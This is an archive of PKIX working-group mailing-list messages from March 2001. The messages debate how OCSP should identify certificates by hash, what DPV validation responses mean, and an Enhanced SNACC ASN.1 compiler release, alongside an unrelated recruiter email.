339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Michael Myers [mailto:[e-mail]]
> Sent: Wednesday, March 28, 2001 5:59 PM
> To: [e-mail]; [e-mail]; [e-mail]
> Subject: RE: OCSPv2: 02: certHash is not unique
> 
> 
> Peter,
> 
> After some correspondence, I've come to the same conclusion 
> despite my prior
> proposal to Jim.  The high-level intent of the presence of an 
> option to
> hash/fingerprint the cert was to enable alignment to known 
> practices, not
> produce yet another variant.
> 
> Mike
> 
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]]
> > Sent: Thursday, March 29, 2001 9:47 AM
> > To: [e-mail]; [e-mail]
> > Subject: Re: OCSPv2: 02: certHash is not unique
> >
> >
> > "Carlin Covey" <[e-mail]> writes:
> >
> > >I am quite content with the suggestion that Jim made concerning
> > computing the
> > >certHash over only the signed portions of the certificate.
> >
> > I'm not.  I already have to create, track, store, and process a
> > whole pile of
> > certificate identifiers, and adding yet another wierdo 
> identifier which is
> > compatible with nothing else in existence to that pile when
> > there's no need for
> > it to be incompatible is something which I can really do without.
> >  The SHA-1
> > hash of the whole cert as "fingerprint" is pretty much
> > universally used and
> > accepted, unless there's a very strong reason not to use it I
> > don't see why we
> > need to invent yet another new identifier.
> >
> > Peter.
> >
> >
> 


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA06993 for <[e-mail]>; Thu, 29 Mar 2001 02:02:52 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Thu, 29 Mar 2001 02:02:52 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Thu, 29 Mar 2001 02:02:51 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HR26MTZV>; Thu, 29 Mar 2001 02:02:37 -0800
Content-return: allowed
Date: Thu, 29 Mar 2001 02:02:37 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Peter, you want to be careful about what you indicate the server
is saying in its response.

The question of whether a server is making any statement about
the expiry status or issuance status of a certificate in an OCSP
response or not did come up in the OCSP discussion earlier. The
concensus at that time was, that the question being asked was
about the revocation status of the certificate. If the client
wanted to know about the expiry status of the certificate, it
could check the certificate for itself. Similarly, if it wanted
to know whether the certificate was ever issued or not, it could
verify the signature on the certificate. So implying anything
about the expiry/issuance status of certificates was not
included in the protocol.

I know of ISIS's desire to have an OCSP response indicate not
only the status of the certificate, but also its existance in a
directory. While I still don't see the benefit of the additional
guarantee, if enough people want it, I don't see a problem with
adding it in a standard way to OCSP, but I would strongly urge
the group to do so via additional extensions.

Changing the meaning of good/revoked/unknown to also include
something about issued/expired, etc. is very, very unclean.

Hope this makes sense,
Regards,
Ambarish


---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Thursday, March 29, 2001 7:30 AM
> To: [e-mail]
> Subject: Re: some thoughts re DPD and DPV
> 
> 
> Denis Pinkas <[e-mail]> writes:
> 
> >There are other objections, since the model you are 
> referring is also making
> >additional major changes from the PKIX model, in particular 
> about the way to
> >check the validity of a certificate chain and the nomination 
> of the OCSP
> >servers responsible for a given CA. Once again, we are in 
> the PKIX WG with a
> >well defined model based on X.509. There are certainly 
> alternatives to this
> >model. Alernatives may have their own merits. However, they 
> should not be
> >progressed in the PKIX WG. 
> 
> Uhh, I think you're reading way too much into my suggestion.  
> All I was doing
> was making the observation that currently when you query an 
> OCSP responder it
> replies with "I could tell you all sorts of things about this 
> cert, but instead
> I'm going to return a partial response and leave you to guess 
> the rest".  By
> adding a small amount of additional information (which the 
> client is free to
> ignore if they want) the responder may provide a more 
> complete response than
> they currently can.  If the client wants to stick religiously 
> to the current
> OCSP/PKIX/whatever model they're free to ignore the extra 
> information - all
> this is is supplementary data, if you don't like it you can 
> ignore it, if you
> think it's useful and it saves you some work, you can use it.
> 
> >Everyone can make its own private extensions and in that 
> case, and we are not
> >going to stop this. 
> 
> The problem is that since there appears to be at least some 
> demand for this,
> everyone *will* add their own private extension, all of which 
> will have
> slightly incompatible semantics, all of which will be 
> completely different, and
> most of which will be undocumented.  Even worse, some groups 
> may decide to
> override the semantics of OCSP itself (eg ISIS).  Rather than 
> allow things to
> degenerate to the point where you need to handle a dozen 
> different ways of
> doing the same thing, the RFC should include a single 
> standard way of doing it
> with well-defined semantics which everyone can follow (or 
> ignore if they feel so
> inclined).
> 
> Peter.
> 


Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA18981 for <[e-mail]>; Thu, 29 Mar 2001 00:06:36 -0800 (PST)
Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id SAA14401 for <[e-mail]>; Thu, 29 Mar 2001 18:06:04 +1000 (EST)
Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpdvSUa3_; Thu Mar 29 18:05:34 2001
Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id SAA21182 for <[e-mail]>; Thu, 29 Mar 2001 18:05:33 +1000 (EST)
Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpdLsLNO_; Thu Mar 29 18:05:19 2001
Received: from ntmsg0028.corpmail.telstra.com.au (ntmsg0028.corpmail.telstra.com.au [192.168.174.24]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id SAA23223 for <[e-mail]>; Thu, 29 Mar 2001 18:05:18 +1000 (EST)
Received: by ntmsg0028.corpmail.telstra.com.au with Internet Mail Service (5.5.2650.21) id <HXWRTTWK>; Thu, 29 Mar 2001 18:05:17 +1000
Message-ID: <[e-mail]>
From: "Manger, James H" <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
Date: Thu, 29 Mar 2001 18:05:16 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B826.FD3174DE"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B826.FD3174DE
Content-Type: text/plain;
	charset="iso-8859-1"

Peter & Calin,

>> An attacker can modify the bytes (hence thumbprint)
>> without modifying the semantics of a certificate. 

> But the same can happen for a "fingerprint" without it ever having been
raised as an issue in the past 

This is NOT an issue for the way browsers currently use "fingerprints", but
it IS an issue for OCSP.  These two uses rely on DIFFERENT properties of the
certificate id.

In the current browser use, such an attack (modifying the "fingerprint", but
not the certificate) would mean the user fails to recognise that the
certificate is one they trust.  Hence, the user will treat the trusted
certificate as untrusted.  This is not a security violation.  It is a mild
(and irrelevant) form of Denial of Service.

In the OCSP use, such an attack would mean a relying party and OCSP server
would calculate different "fingerprints" for the same revoked certificate.
An OCSP server with a list of "fingerprints" of revoked certificates, would
fail to match the "fingerprint" in the OCSP request and would not return
"revoked".  This is a security violation.

Note: If the OCSP server kept a list of "fingerprints" of un-revoked
certificates (and assumed all other were revoked) the attack would not
succeed.  However, this is not how revocation is usually implemented.

[In some vague sort of pseudo UML]
Browser use assumes:  (1)    id  *------1  certificate
OCSP use assumes:     (2)   id    1-----*  certificate

A hash of the DER-encoded complete certificate - "fingerprint" - satisfies
(1) but not (2).

 

Calin, 

This issues has nothing to do with birthday attacks and nothing to do with
the security of SHA-1.


------_=_NextPart_001_01C0B826.FD3174DE
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE></TITLE>

<META content="MSHTML 5.00.3105.105" name=GENERATOR></HEAD>
<BODY><SPAN class=336071605-26032001>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>Peter 
&amp;&nbsp;Calin,</SPAN></FONT></P>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
  <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
    <P><FONT face=Arial><FONT color=#800000><FONT color=#800000>&gt;<FONT 
    color=#800000>&gt;</FONT></FONT><SPAN class=031501206-29032001><FONT 
    color=#0000ff size=2>&nbsp;</FONT></SPAN>An attacker can modify the<SPAN 
    class=336071605-26032001> </SPAN>bytes (hence thumbprint)<BR><SPAN 
    class=336071605-26032001>&gt;<FONT color=#800000>&gt;</FONT> </SPAN>without 
    modifying the semantics of a certificate.</FONT><FONT size=2><FONT 
    color=#0000ff><SPAN 
    class=031501206-29032001>&nbsp;</SPAN></FONT></FONT></FONT></P></BLOCKQUOTE>
  <P><FONT face=Arial><FONT size=2><FONT color=#0000ff><SPAN 
  class=031501206-29032001>&gt;&nbsp;</SPAN></FONT>But the same can happen for a 
  "fingerprint" without it ever having been raised<SPAN 
  class=336071605-26032001> </SPAN>as an issue in the past<SPAN 
  class=031501206-29032001><FONT 
  color=#0000ff>&nbsp;</FONT></SPAN></FONT></FONT></P></BLOCKQUOTE>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>This is 
NOT an issue for the way browsers currently use "fingerprints", but it IS an 
issue for OCSP.&nbsp; These two uses rely on DIFFERENT properties of the 
certificate id.</SPAN></FONT></P>
<P><FONT face=Arial><FONT color=#0000ff size=2><SPAN 
class=031501206-29032001><FONT color=#0000ff size=2><SPAN 
class=031501206-29032001>In the current browser use</SPAN></FONT>, such an 
attack (modifying the "fingerprint", but not the certificate) would mean the 
user fails to recognise that the certificate is one they trust.&nbsp; Hence, the 
user will treat the trusted certificate as untrusted.&nbsp; This is not a 
security violation.&nbsp; It is a mild (and irrelevant) form of Denial of 
Service.</SPAN></FONT></FONT></P>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>In the 
OCSP use, such an attack would mean a relying party and OCSP server would 
calculate different "fingerprints" for the same revoked certificate.&nbsp; An 
OCSP server with a list of "fingerprints" of revoked certificates, would fail to 
match the "fingerprint" in the OCSP request and would not return 
"revoked".&nbsp; This is a security violation.</SPAN></FONT></P>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>Note: If 
the OCSP server kept a list of "fingerprints" of&nbsp;un-revoked 
certificates&nbsp;(and assumed all other were revoked) the attack would not 
succeed.&nbsp; However, this is not how revocation is usually 
implemented.</SPAN></FONT></P>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>[In some 
vague sort of pseudo UML]<BR>Browser use assumes:&nbsp; (1)&nbsp;&nbsp;&nbsp; 
id&nbsp;  *------1&nbsp; certificate<BR>OCSP use 
assumes:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(2)&nbsp;&nbsp;  id&nbsp;&nbsp;&nbsp; 
1-----*&nbsp;&nbsp;certificate</SPAN></FONT></P>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>A hash 
of the DER-encoded&nbsp;complete certificate - "fingerprint" - satisfies (1) but 
not (2).</SPAN></FONT><FONT color=#0000ff size=2><SPAN 
class=031501206-29032001></SPAN></FONT></P>
<P><FONT color=#0000ff size=2><SPAN 
class=031501206-29032001></SPAN></FONT>&nbsp;</P>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>Calin, 
</SPAN></FONT></P>
<P><FONT color=#0000ff face=Arial size=2><SPAN class=031501206-29032001>This 
issues has nothing to do with birthday attacks and nothing to do with the 
security of SHA-1.</SPAN></FONT></P></SPAN></BODY></HTML>

------_=_NextPart_001_01C0B826.FD3174DE--


Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA26674 for <[e-mail]>; Wed, 28 Mar 2001 20:12:11 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2T4BXO10365; Wed, 28 Mar 2001 20:11:33 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: RE: some thoughts re DPD and DPV 
Date: Wed, 28 Mar 2001 20:18:21 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <[e-mail]>

Peter,

Given that the current debate largely centers around various OPTIONAL
elements to enable clients to assert in-band controls/filters/etc. if they
choose, what are your thoughts on the minimal interpretation of OCSP-based
DPV?  That is,

"A DPV response SHALL contain a value of id-pkix-ocsp-valid-rsp in the
ResponseType field of the ResponseBytes syntax.

id-pkix-ocsp-valid-rsp    OBJECT IDENTIFIER ::= { id-pkix-ocsp X }

DPVCertStatus ::= CHOICE {
    valid       [0]     IMPLICIT NULL,
    invalid     [1]     IMPLICIT NULL,
    unknown     [2]     IMPLICIT NULL  }"

where:

"The "valid" state SHALL be interpreted as indicating that the certificate
at a
minimum satisfies the path validation rules defined in [RFC2459]."


Mike



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id TAA23909 for <[e-mail]>; Wed, 28 Mar 2001 19:29:48 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id PAA11207 for <[e-mail]>; Thu, 29 Mar 2001 15:29:45 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98583658622733>; Thu, 29 Mar 2001 15:29:46 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: some thoughts re DPD and DPV 
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Thu, 29 Mar 2001 15:29:46 (NZST)
Message-ID: <[e-mail]>

Denis Pinkas <[e-mail]> writes:

>There are other objections, since the model you are referring is also making
>additional major changes from the PKIX model, in particular about the way to
>check the validity of a certificate chain and the nomination of the OCSP
>servers responsible for a given CA. Once again, we are in the PKIX WG with a
>well defined model based on X.509. There are certainly alternatives to this
>model. Alernatives may have their own merits. However, they should not be
>progressed in the PKIX WG. 

Uhh, I think you're reading way too much into my suggestion.  All I was doing
was making the observation that currently when you query an OCSP responder it
replies with "I could tell you all sorts of things about this cert, but instead
I'm going to return a partial response and leave you to guess the rest".  By
adding a small amount of additional information (which the client is free to
ignore if they want) the responder may provide a more complete response than
they currently can.  If the client wants to stick religiously to the current
OCSP/PKIX/whatever model they're free to ignore the extra information - all
this is is supplementary data, if you don't like it you can ignore it, if you
think it's useful and it saves you some work, you can use it.

>Everyone can make its own private extensions and in that case, and we are not
>going to stop this. 

The problem is that since there appears to be at least some demand for this,
everyone *will* add their own private extension, all of which will have
slightly incompatible semantics, all of which will be completely different, and
most of which will be undocumented.  Even worse, some groups may decide to
override the semantics of OCSP itself (eg ISIS).  Rather than allow things to
degenerate to the point where you need to handle a dozen different ways of
doing the same thing, the RFC should include a single standard way of doing it
with well-defined semantics which everyone can follow (or ignore if they feel so
inclined).

Peter.



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA19462 for <[e-mail]>; Wed, 28 Mar 2001 17:52:19 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2T1piO03668; Wed, 28 Mar 2001 17:51:44 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>, <[e-mail]>, <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
Date: Wed, 28 Mar 2001 17:58:30 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <[e-mail]>

Peter,

After some correspondence, I've come to the same conclusion despite my prior
proposal to Jim.  The high-level intent of the presence of an option to
hash/fingerprint the cert was to enable alignment to known practices, not
produce yet another variant.

Mike

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Thursday, March 29, 2001 9:47 AM
> To: [e-mail]; [e-mail]
> Subject: Re: OCSPv2: 02: certHash is not unique
>
>
> "Carlin Covey" <[e-mail]> writes:
>
> >I am quite content with the suggestion that Jim made concerning
> computing the
> >certHash over only the signed portions of the certificate.
>
> I'm not.  I already have to create, track, store, and process a
> whole pile of
> certificate identifiers, and adding yet another wierdo identifier which is
> compatible with nothing else in existence to that pile when
> there's no need for
> it to be incompatible is something which I can really do without.
>  The SHA-1
> hash of the whole cert as "fingerprint" is pretty much
> universally used and
> accepted, unless there's a very strong reason not to use it I
> don't see why we
> need to invent yet another new identifier.
>
> Peter.
>
>



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA05168 for <[e-mail]>; Wed, 28 Mar 2001 13:58:54 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id HYP6ZK5A; Wed, 28 Mar 2001 13:55:22 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>, <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
Date: Wed, 28 Mar 2001 14:58:42 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <[e-mail]>

Peter and Tim,

I'm content with the "fingerprint" too.  I place my faith in the
SHA-1 hash, not whether or not some of the bits fed into the hash
can be manipulated.  Tim, is my faith in SHA-1 misplaced?

Regards,

Carlin

____________________________

-  Carlin Covey
   Cylink Corporation



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Thursday, March 29, 2001 9:47 AM
To: [e-mail]; [e-mail]
Subject: Re: OCSPv2: 02: certHash is not unique


"Carlin Covey" <[e-mail]> writes:

>I am quite content with the suggestion that Jim made concerning computing
the
>certHash over only the signed portions of the certificate.

I'm not.  I already have to create, track, store, and process a whole pile
of
certificate identifiers, and adding yet another wierdo identifier which is
compatible with nothing else in existence to that pile when there's no need
for
it to be incompatible is something which I can really do without.  The SHA-1
hash of the whole cert as "fingerprint" is pretty much universally used and
accepted, unless there's a very strong reason not to use it I don't see why
we
need to invent yet another new identifier.

Peter.



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA03888 for <[e-mail]>; Wed, 28 Mar 2001 13:47:44 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id JAA21156; Thu, 29 Mar 2001 09:47:29 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98581604921367>; Thu, 29 Mar 2001 09:47:29 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re: OCSPv2: 02: certHash is not unique
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Thu, 29 Mar 2001 09:47:29 (NZST)
Message-ID: <[e-mail]>

"Carlin Covey" <[e-mail]> writes:

>I am quite content with the suggestion that Jim made concerning computing the
>certHash over only the signed portions of the certificate.  

I'm not.  I already have to create, track, store, and process a whole pile of
certificate identifiers, and adding yet another wierdo identifier which is
compatible with nothing else in existence to that pile when there's no need for
it to be incompatible is something which I can really do without.  The SHA-1
hash of the whole cert as "fingerprint" is pretty much universally used and
accepted, unless there's a very strong reason not to use it I don't see why we
need to invent yet another new identifier.

Peter.



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA03311 for <[e-mail]>; Wed, 28 Mar 2001 13:43:44 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id HYP6ZKYF; Wed, 28 Mar 2001 13:40:13 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Subject: RE: confidential
Date: Wed, 28 Mar 2001 14:43:36 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <[e-mail]>

"...  propelled by smart, determined professionals  ..."

Anybody want to be a propeller?  I hear there are some nifty beanies ....
;-}




Received: from amsearch.amsearch.com (4.183.96.216-rev.eziaz.net [216.96.183.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA01049 for <[e-mail]>; Wed, 28 Mar 2001 13:18:36 -0800 (PST)
Date: Wed, 28 Mar 2001 13:18:36 -0800 (PST)
From: [e-mail]
Message-Id: <[e-mail]>
Received: from BMCCLOSKEY by amsearch.amsearch.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) id GJP5J2SQ; Wed, 28 Mar 2001 16:11:30 -0500
To: [e-mail]
Subject: confidential
MIME-Version: 1.0 (produced by IP*Works! www.dev-soft.com)
Content-Type: text
Content-Transfer-Encoding: 7bit
X-Mailer: GMail2 by Design2Graphics

Senior Manager - Midwest and East Coast
eWorkforce  Consulting Practice  

My name is Brian McCloskey and I am a headhunter. I am currently conducting a search for a focused, fast growing, global consulting firm.  

My client is an organization with tremendous momentum, propelled by smart, determined professionals who are driven by a singular ambition - to provide clients with successful, cutting-edge e-Business solutions.  They pride themselves on the teams of skilled and experienced professionals assembled to meet e-Business challenges.

The Ideal candidate will be able to communicate the business function and solution to all levels of client and internal staff.  Keys to success with this practice include client focus, industry savvy and the ability to work independently and as part of a collaborative team. 

·	Fluid executive level presence
·	Transition from C level meetings to hands on work in delivery with client and staff
·	Project Management and meeting facilitation skills, including business metrics definition, systems functionality requirements, project status reviews, etc.
·	Thought leadership and analytical thinking skills in leading best practice teams; able to convincingly guide client and internal teams toward appropriate solutions as supported by best practices experience
·	Executive presentation skills, both in planned conference or proposal settings and ad hoc "quick on the feet" responsiveness
·	Extensive network and/or demonstrated experience in selling work to new or existing clients, and business case / value proposition orientation
·	Experience in leading large scale multi-site/multi-national reporting projects including familiarity with data warehousing techniques, OLAP tools, and other front-end reporting capabilities.
·	Performance management skills, across direct staff managed, virtual teams, and client resources.		

If this is of interest to you, or at the very least, you would like to stay aware of the opportunities in the industry, please contact me. 

Best regards,

Brian
_____________________________________________________________________
Brian McCloskey
AM Search Consulting   http://www.amsearch.com
1801 Research Boulevard,  Suite 602
Rockville, MD  20850
Phone:	[phone] ext. 18
Fax: 	[phone]
Email:  [e-mail]





Received: from wfhqex05.gfgsi.com (netva01.getronicsgov.com [206.137.100.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA25533 for <[e-mail]>; Wed, 28 Mar 2001 11:45:12 -0800 (PST)
Received: by wfhqex05.gfgsi.com with Internet Mail Service (5.5.2650.21) id <HQMY80Z2>; Wed, 28 Mar 2001 14:45:28 -0500
Message-ID: <[e-mail]>
From: "Pawling, John" <[e-mail]>
To: [e-mail]
Subject: RE: ASN.1 DER parser/compiler
Date: Wed, 28 Mar 2001 14:45:27 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C0B7BF.A360CAC0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0B7BF.A360CAC0
Content-Type: text/plain;
	charset="iso-8859-1"

Jonathan wrote: 
"	* snacc - freeware ASN.1 to C/C++ compiler
http://www.idiom.com/free-compilers/TOOL/ASN1-1.html - I believe this only
deals with BER rather than DER compilation".

We have enhanced the SNACC freeware to support DER.  Please see the attached
message for more information.

===========================================
John Pawling, [e-mail]
Getronics Government Solutions, LLC
===========================================




------_=_NextPart_000_01C0B7BF.A360CAC0
Content-Type: message/rfc822
Content-Description: v1.3 R5 Enhanced SNACC ASN.1 Freeware 

Message-ID: <[e-mail]>
From: "Pawling, John" <[e-mail]>
To: "Pawling, John" <[e-mail]>
Subject: v1.3 R5 Enhanced SNACC ASN.1 Freeware 
Date: Fri, 16 Feb 2001 16:27:07 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

All,

Getronics Government Solutions has delivered the v1.3 R5 Enhanced SNACC
Abstract Syntax Notation.1 (ASN.1) Compiler, C++ library and C library
source code compilable for Linux, Sun Solaris 2.7 and Microsoft Windows
NT/95/98/2000.  The source code and the Enhanced SNACC Software Public
License are freely available to everyone from:
<http://www.getronicsgov.com/hot/snacc_home.htm>


In past releases, Getronics enhanced the SNACC library to implement the
Distinguished Encoding Rules (DER).  In the v1.3 R5 SNACC release, Getronics
included the following enhancements:

1) Resolved compiler warnings.

2) Enhanced C++ library encode/decode performance.

3) Converted all source code to use CVS configuration management system.

4) Update SNACC readme file. 

5) Tested with v1.9 S/MIME Freeware Library (SFL)
<http://www.getronicsgov.com/hot/sfl_home.htm>
 that uses SNACC to implement the IETF S/MIME v3 set of specifications.  

6) Tested with freeware v1.9 Certificate Management Library (CML)
<http://www.getronicsgov.com/hot/cml_home.htm> that
uses SNACC to implement the 2000 X.509 Recommendation and RFC 2459.  

7) Tested with freeware v1.5 Access Control Library (ACL)
<http://www.getronicsgov.com/hot/acl_home.htm> that uses SNACC to provide
automated access control.  

SNACC implements the majority of ASN.1 encoding/decoding rules.  SNACC does
not support all of
the latest ASN.1 features, but there are work-arounds that allow SNACC to be
used to produce ASN.1 hex encodings that are identical to those produced by
ASN.1 libraries that do support the latest ASN.1 features.  Also note that
many of the PKIX specs, such as RFC 2459, include 1988-compliant ASN.1
syntax modules which can be compiled using SNACC.

The SNACC ASN.1 library is totally unencumbered as stated in the Enhanced
SNACC Software Public License.  All source code for the Enhanced SNACC
software is being provided at no cost and with no financial limitations
regarding its use and distribution.  Organizations can use the Enhanced
SNACC software without paying any royalties or licensing fees.  

The Internet Mail Consortium (IMC) has established a SNACC web page
<http://www.imc.org/imc-snacc/>.  The IMC has also established a SNACC mail
list which is used to: distribute information regarding SNACC releases;
discuss SNACC-related issues; and provide a means for SNACC users to provide
feedback, comments, bug reports, etc.  Subscription information for the
imc-snacc mail list is at the IMC web site listed above.

We welcome all feedback regarding the Enhanced SNACC software.  If bugs are
reported, then we will investigate each reported bug and, if required, will
produce a patch or an updated release of the software to repair the bug. 

This SNACC release announcement was sent to several mail lists, but please
send all messages regarding the Enhanced SNACC software to the imc-snacc
mail list ONLY.  Please do not send messages regarding the Enhanced SNACC
software to any of the IETF mail lists.  We will respond to all messages
sent to the imc-snacc mail list.

===========================================
John Pawling, [e-mail]
Getronics Government Solutions, LLC
===========================================


------_=_NextPart_000_01C0B7BF.A360CAC0--


Received: from cmailg2.svr.pol.co.uk (cmailg2.svr.pol.co.uk [195.92.195.172]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA24796 for <[e-mail]>; Wed, 28 Mar 2001 11:38:16 -0800 (PST)
Received: from modem-72.blue-mandarin.dialup.pol.co.uk ([62.136.237.72] helo=lilith) by cmailg2.svr.pol.co.uk with smtp (Exim 3.13 #0) id 14iLle-0003D5-00; Wed, 28 Mar 2001 20:38:07 +0100
From: "Jonathan Jenkyn" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>
Subject: RE: ASN.1 DER parser/compiler
Date: Wed, 28 Mar 2001 20:38:25 +0100
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
